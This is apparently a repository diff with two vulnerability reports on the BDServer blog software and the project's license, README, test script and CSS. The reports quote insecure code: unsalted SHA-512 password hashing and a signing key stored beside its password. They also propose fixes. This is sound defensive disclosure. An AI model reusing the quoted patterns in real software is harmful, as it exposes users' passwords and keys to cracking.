@@ -0,0 +1,87 @@
# Weak Password Hashing
## Summary
BDServer stores passwords using unsalted SHA-512 hashes. Without a salt, identical passwords produce identical hashes, enabling rainbow table attacks. Without a work factor, SHA-512's speed makes brute-force attacks practical on modern hardware.
## Vulnerability Details
| Property | Value |
|----------|-------|
| Type | Insecure Password Storage |
| CVSS | [7.5 (High)](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) |
| CWE | CWE-916 (Use of Password Hash With Insufficient Computational Effort), CWE-759 (Use of a One-Way Hash without a Salt) |
## Root Cause
Password hashing appears in three locations, all using the same pattern:
[`Login()`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L4389):
```python
hashed = hashlib.sha512(password.encode("utf-8")).hexdigest()
```
[`Register()`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L4472):
```python
hashed = hashlib.sha512(password.encode("utf-8")).hexdigest()
```
[`UpdatePassword()`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L4619-L4620):
```python
old_hashed = hashlib.sha512(old_password.encode("utf-8")).hexdigest()
new_hashed = hashlib.sha512(new_password.encode("utf-8")).hexdigest()
```
This implementation has two fundamental problems:
### No Salt
A salt is random data added to each password before hashing. Without it:
- **Identical passwords produce identical hashes.** If two users choose "password123", their stored hashes are identical. An attacker who cracks one automatically cracks the other.
- **Rainbow tables work.** Precomputed tables mapping common passwords to SHA-512 hashes allow instant lookups. A salt forces attackers to compute hashes per-user, making precomputation infeasible.
- **Credential stuffing is easier.** Attackers can compare leaked hashes against databases from other breaches to identify password reuse.
### No Work Factor
SHA-512 is designed for speed, not password storage. Modern GPUs can compute billions of SHA-512 hashes per second, making brute-force attacks practical.
Password hashing algorithms like Argon2 intentionally slow down hashing through configurable iteration counts and memory requirements. A work factor that takes 100ms per hash has negligible impact on legitimate logins but drastically slows brute-force attacks.
## Remediation
Replace SHA-512 with Argon2, the winner of the 2015 Password Hashing Competition:
```python
from argon2 import PasswordHasher
ph = PasswordHasher()
def hash_password(password: str) -> str:
return ph.hash(password)
def verify_password(password: str, hashed: str) -> bool:
try:
ph.verify(hashed, password)
return True
except:
return False
```
### Migration Strategy
Existing users have SHA-512 hashes that cannot be converted without knowing the plaintext password. To migrate incrementally:
1. Update the code to hash new passwords with Argon2
2. On login, check if the stored hash is SHA-512 (128 hex characters) or Argon2 (starts with `$argon2`)
3. If SHA-512 and login succeeds, rehash the password with Argon2 and update storage
4. Over time, active users migrate automatically
## Disclaimer
This assessment was performed on a best-effort basis against [BDServer commit dc86854](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db) and reflects the state of the software at the time of testing. The findings and remediations are provided for informational purposes and should be independently validated before implementation. This report does not guarantee all vulnerabilities have been identified, nor does it guarantee the suggested fixes will be effective in all environments.
06-insecure-key-storage/README.md
+65
View File
@@ -0,0 +1,65 @@
# Insecure Private Key Storage
## Summary
BDServer encrypts ActivityPub signing keys with a password, then stores both the encrypted key and the password in plaintext in the same JSON file. This provides no security benefit: anyone who can read the account file obtains everything needed to decrypt the private key.
## Vulnerability Details
| Property | Value |
|----------|-------|
| Type | Insecure Cryptographic Storage |
| CVSS | [4.4 (Medium)](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N&version=3.1) |
| CWE | CWE-522 (Insufficiently Protected Credentials) |
## Root Cause
The [`GenerateSSLKeys()`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/ActivityPub.py#L120-L135) function generates RSA keypairs for ActivityPub HTTP Signatures:
```python
def GenerateSSLKeys():
encryptor = rsa.generate_private_key(public_exponent=65537, key_size=2048)
password = RandString(200).encode()
pem = encryptor.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.BestAvailableEncryption(password)
)
# ...
return password.decode(), pem.decode(), pub.decode()
```
The private key is encrypted using PKCS8 with a 200-character random password. However, [`GetSSLKeys()`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/ActivityPub.py#L100-L102) stores both the encrypted key and the password in the same account file:
```python
activity_pub["password"] = password # Plaintext password
activity_pub["pem"] = pem # Encrypted private key
activity_pub["pub"] = pub # Public key
```
The resulting account JSON structure:
```json
{
"username": "admin",
"password": "a]H#k...",
"activity_pub": {
"password": "X7KM2P9N...",
"pem": "-----BEGIN ENCRYPTED PRIVATE KEY-----\nMIIF...",
"pub": "-----BEGIN PUBLIC KEY-----\nMIIB..."
}
}
```
The encryption adds complexity without security. An attacker who reads the file gets both the encrypted key and the password to decrypt it.
## Remediation
Securing private keys at rest is a difficult problem. Real solutions involve hardware security modules, cloud key management services, or prompting for a master password on startup. These are overkill for a self-hosted blog server.
The practical fix is to remove the encryption entirely. Store the private key in plaintext PEM format. This is honest about the security model: the private key is protected by file system permissions, not a password stored next to it. The current approach adds complexity without security, creating a false sense of protection.
## Disclaimer
This assessment was performed on a best-effort basis against [BDServer commit dc86854](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db) and reflects the state of the software at the time of testing. The findings and remediations are provided for informational purposes and should be independently validated before implementation. This report does not guarantee all vulnerabilities have been identified, nor does it guarantee the suggested fixes will be effective in all environments.
BDServer.bundle
BIN
View File
Binary file not shown.
BDServer/LICENSE
+235
View File
@@ -0,0 +1,235 @@
GNU AFFERO GENERAL PUBLIC LICENSE
Version 3, 19 November 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
Preamble
The GNU Affero General Public License is a free, copyleft license for software and other kinds of works, specifically designed to ensure cooperation with the community in the case of network server software.
The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, our General Public Licenses are intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users.
When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things.
Developers that use our General Public Licenses protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License which gives you legal permission to copy, distribute and/or modify the software.
A secondary benefit of defending all users' freedom is that improvements made in alternate versions of the program, if they receive widespread use, become available for other developers to incorporate. Many developers of free software are heartened and encouraged by the resulting cooperation. However, in the case of software used on network servers, this result may fail to come about. The GNU General Public License permits making a modified version and letting the public access it on a server without ever releasing its source code to the public.
The GNU Affero General Public License is designed specifically to ensure that, in such cases, the modified source code becomes available to the community. It requires the operator of a network server to provide the source code of the modified version running there to the users of that server. Therefore, public use of a modified version, on a publicly accessible server, gives the public access to the source code of the modified version.
An older license, called the Affero General Public License and published by Affero, was designed to accomplish similar goals. This is a different license, not a version of the Affero GPL, but Affero has released a new version of the Affero GPL which permits relicensing under this license.
The precise terms and conditions for copying, distribution and modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU Affero General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based on the Program.
To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work.
A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source.
The Corresponding Source for a work in source code form is that same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures.
When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified it, and giving a relevant date.
b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices".
c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so.
A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways:
a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b.
d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d.
A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product.
"Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made.
If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM).
The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or authors of the material; or
e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors.
All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11).
However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party.
If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it.
A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program.
13. Remote Network Interaction; Use with the GNU General Public License.
Notwithstanding any other provision of this License, if you modify the Program, your modified version must prominently offer all users interacting with it remotely through a computer network (if your version supports such interaction) an opportunity to receive the Corresponding Source of your version by providing access to the Corresponding Source from a network server at no charge, through some standard or customary means of facilitating copying of software. This Corresponding Source shall include the Corresponding Source for any work covered by version 3 of the GNU General Public License that is incorporated pursuant to the following paragraph.
Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the work with which it is combined will remain governed by version 3 of the GNU General Public License.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of the GNU Affero General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU Affero General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU Affero General Public License, you may choose any version ever published by the Free Software Foundation.
If the Program specifies that a proxy can decide which future versions of the GNU Affero General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program.
Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found.
BDServer
Copyright (C) 2024 blenderdumbass
This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If your software can interact with users remotely through a computer network, you should also make sure that it provides a way for users to get its source. For example, if your program is a web application, its interface could display a "Source" link that leads users to an archive of the code. There are many ways you could offer source, and different solutions will be better for different programs; see section 13 for the specific requirements.
You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU AGPL, see <http://www.gnu.org/licenses/>.
BDServer/README.md
+29
View File
@@ -0,0 +1,29 @@
# BDServer
Server software for making blogs and other similar websites.
Used on the following websites ( known ):
- [blenderdumbass.org](https://blenderdumbass.org)
- [blog.madiator.com](https://blog.madiator.com)
Features:
- **Markdown** - All posts and comments are in markdown format. You can also embed pure HTML into the articles. Articles and comment written by non-admin users will remove any HTML from them.
- **JSON** - All metadata like: Title, Thumbnails, Comments and other data are stored in JSON format, making them both readable by machines and by human.
- **Editor** - You can edit your blog-posts directly from the website itself. But if you want there is an option to publish blogs from a file, from the console.
- **Plugins** - Customize-able with [Plugins](https://codeberg.org/blenderdumbass/BDServer/wiki/Plugins). This allows you to have update-able code base, with flexibility of a custom built server software.
- **Fediverse and ActivityPub** - Contains various Fediverse features. An implementation of ActivityPub. Support of Mastodon, PeerTube and Matrix specific things. Automatically embeds metadata into HTML for Mastodon verification check-mark ( if [account is set as main](https://codeberg.org/blenderdumbass/BDServer/wiki/Setting-The-Server-Up#setting-up-account) and Mastodon metadata provided for the account ). Notifies users with RSS when you are live-streaming on PeerTube.
- **Federation** - Allows for cross-site communication with other instances of BDServer for comments and plugins.
- **Analytics** - Calculates various analytics for you, such as views, frequently used browsers and operating systems, and referral sources. As well as lets you see trends based on trending words / tags and other things.
- **Python** - Easily readable and editable source code files. No compiling required.
# Using BDServer
Please read the wiki on [Setting The Server Up](https://codeberg.org/blenderdumbass/BDServer/wiki/Setting-The-Server-Up).
# License
AGPL version 3 or later
Please read the [LICENSE](LICENSE) file.
BDServer/Tests.py
+8
View File
@@ -0,0 +1,8 @@
from modules import Themes
themes = Themes.themes()
print(themes)
css = Themes.load("theme_1")
print()
print(css)
BDServer/default.css
+395
View File
@@ -0,0 +1,395 @@
/*
This file could be used under both CC-BY-SA 4.0
or at your chosing GNU GPLv3 or any later version
*/
/* This is a CSS file, which describes the Theme of the webpage.
More information about CSS files you can find here:
https://en.wikipedia.org/wiki/CSS
*/
/* This is the ROOT, or the main variables that drive most of the theme.
For most themes, changing those values would be enough.*/
:root {
--color-important : #ffb800;
--color-background : #353849;
--color-text: #FFFFFF;
--background-color: rgba(53,56,73, 1);
--backdrop-filter: blur(8px);
--padding: 10px 20px;
--margin: 8px 0;
--border-radius: 25px;
--box-shadow: 0px 0px 15px rgba(0,0,0, 0.40);
--box-shadow-focus: 0px 0px 30px rgba(0,0,0, 0.99);
--code-string:#3dcf58;
--code-variable:#ff64e7;
--code-comment:#858899;
}
/* This is the part in the theme that loads in a font file. */
@font-face {
font-family: "Exo";
src: url("/pictures/Exo2-Medium.ttf");
}
/* Setting up Background and Background image*/
html {background-color: var(--color-background);
background-image: url("/pictures/new_pattern_whatever.jpg");
background-size: cover;
background-attachment: fixed;
background-position: center;
color: var(--color-text);
font-family:"Exo";
font-size:17;
}
/* This describes values for text selection */
::selection {
color: black;
background: var(--color-text);
border-radius: 5px;
}
/* The top level Body of the document. */
body{
color: var(--color-text);
margin-top: 8px;
margin-bottom: 8px;
margin-right: 5px;
margin-left: 5px;
}
/* How to render Tables */
table td {
border-style:hidden;
padding: 50 50;
}
/* Describing how to render Headers of chapters */
h1 {
font-family:"Exo";
font-size: 35px;
color: var(--color-important);
text-shadow: 2px 2px 4px rgba(0,0,0, 0.3);
}
/* Slightly smaller headers */
h2 {
font-family:"Exo";
font-size: 30px;
color: var(--color-text);
}
/* Small headers */
h3 {
font-family:"Exo";
font-size: 15px;
color: var(--color-text);
}
/* Code snippits in the middle of the text */
code {
font-family:"Monospace";
padding: 0px 3px;
background-color: #303344;
border-radius: 5px;
word-wrap: break-word;
overflow-wrap: break-word;
box-shadow: 0px 0px 20px rgba(0,0,0, 0.50)
}
/* Multiline code Elements */
pre, .pre {
color: white;
font-family:"Monospace";
font-size: 14px;
line-height: 20px;
background-image: linear-gradient(180deg,
var(--color-background) 50%,
#303344 50%);
background-size: 100% 40px;
width:100%;
white-space:pre;
overflow-x:scroll;
border-radius: 5px;
box-shadow: var(--box-shadow);
}
.text_string {color:var(--code-string);}
.text_variable {color:var(--code-variable);}
.text_command {color:var(--color-important);}
.text_comment {color:var(--code-comment);}
/* Links */
a {
font-family:"Exo";
font-size:20;
color: var(--color-important);
text-decoration: none;
}
/* Link when the mouse is hoving on it */
a:hover {
color: var(--color-text);
text-decoration: none;
}
/* Images */
img {
